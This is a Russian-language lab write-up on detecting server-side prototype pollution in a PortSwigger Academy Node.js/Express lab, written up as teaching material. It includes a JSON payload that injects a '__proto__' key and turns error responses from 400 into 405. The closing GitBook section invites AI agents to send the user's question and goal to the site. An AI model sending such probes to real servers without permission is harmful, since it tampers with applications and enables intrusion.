> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/web/prototype-pollution/detection-without-reflection-of-modified-properties.md).

# Обнаружение без отражения изменённых свойств

Заметки по лабораторным работам PortSwigger Web Security Academy об обнаружении без отражения изменённых свойств, включая рабочий процесс эксплуатации, тестирование полезной нагрузки, проверку в Burp Suite и контекст устранения уязвимости.

### Обнаружение прототипного загрязнения на стороне сервера без отражения загрязнённого свойства

**Контекст лабораторной работы**

Эта лабораторная работа работает на **Node.js** на **Express**. Она уязвима к **загрязнению прототипа на стороне сервера** потому что **приложение merge (merge) небезопасно** из данных, контролируемых пользователем, в серверном объекте JavaScript.

Цель: **подтвердить уязвимость** как `Object.prototype` загрязнитель **видимое, но не разрушительное**, только через изменение поведения сервера (дальше эксплуатировать не нужно).

Учётные данные: `wiener:peter`.

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d19c5dd9ee5c7ee747584011cedd077ccb6bbe8a%2F%7BABD0D453-AC28-4AFA-B3CB-4D0C7ED5DFFF%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**Данные, отправляемые приложением (адрес)**

При изменении адреса выставления счёта / доставки браузер отправляет похожий JSON на:

```json
{
  "address_line_1": "Wiener HQ",
  "address_line_2": "One Wiener Way",
  "city": "Wienerville",
  "postcode": "BU1 1RP",
  "country": "Великобритания",
  "sessionId": "P72CQIVn4eYngmsyw4efwGYTXt3RSMrU"
}
```

**Сгенерируйте контролируемую ошибку, чтобы наблюдать ответ**

Если принудительно вызвать ошибку разбора JSON (например, удалив кавычку), вы получите ответ **400** и сервер возвращает объект ошибки, в котором `тело` содержит наш payload (отражает):

```json
{
  "address_line_1": "Wiener HQ",
  "address_line_2": "One Wiener Way",
  "city": "Wienerville",
  "postcode": "BU1 1RP",
  "country": "Великобритания",
  "sessionId": "P72CQIVn4eYngmsyw4efwGYTXt3RSMrU
}
```

Типичный ответ:

```json
{
  "error": {
    "expose": true,
    "statusCode": 400,
    "status": 400,
    "body": "{/"address_line_1/":/"Wiener HQ/",/"address_line_2/":/"One Wiener Way/",/"city/":/"Wienerville/",/"postcode/":/"BU1 1RP/",/"country/":/"UK/",/"sessionId/":/"P72CQIVn4eYngmsyw4efwGYTXt3RSMrU/r/n}",
    "type": "entity.parse.failed"
  }
}
```

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2de4ffb19108aa5a5c4fdbd9b0b8749195970b11%2F%7BCF101AA8-E666-445D-B493-7B4614A6DB72%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**Идея: подтверждение загрязнения без прямого отражения**

Вместо того чтобы ждать, пока загрязнённое свойство вернётся в тело, можно стремиться к **измеримому изменению поведения**, например \*\*код HTTP\*\*, возвращаемый при ошибке.

Здесь сервер использует (или передаёт дальше) такие поля, как `status` / `statusCode`. Если нам удастся загрязнить `Object.prototype.status`, тогда при последующих ошибках Express (или обработчик ошибки) сможет получить это значение через наследование по прототипу → сервер вернёт другой **status**.

**Попытка загрязнения через `__proto__`**

Один `__proto__` ключ внедряется в JSON (в корректном JSON-запросе, а не в повреждённом запросе), например:

```json
{
  "address_line_1": "Wiener HQ",
  "address_line_2": "One Wiener Way",
  "city": "Wienerville",
  "postcode": "BU1 1RP",
  "country": "Великобритания",
  "sessionId": "P72CQIVn4eYngmsyw4efwGYTXt3RSMrU,
  "__proto__": {
    "status": 405
    }
}
```

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-13142ee16a2b83071ec1e17de55db67d5a117341%2F%7B0E3ADAC1-446F-4697-8F06-447A7EF39BF0%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Ожидаемый эффект: после этого загрязнения, **любая ошибка** (например, намеренно вызванная ошибка разбора JSON) теперь может возвращать **405 вместо 400**, потому что `status` наследуется от `Object.prototype`.

**Результат / проверка**

* До загрязнения: ошибки → `400`
* После загрязнения: ошибки → `405` (или другой выбранный код)

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f8502a11bc755a8ff5b77addcdbe4a8d4883a5a6%2F%7B880D560F-8BA7-437B-AE97-36FDD182BA6C%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ru/web/prototype-pollution/detection-without-reflection-of-modified-properties.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
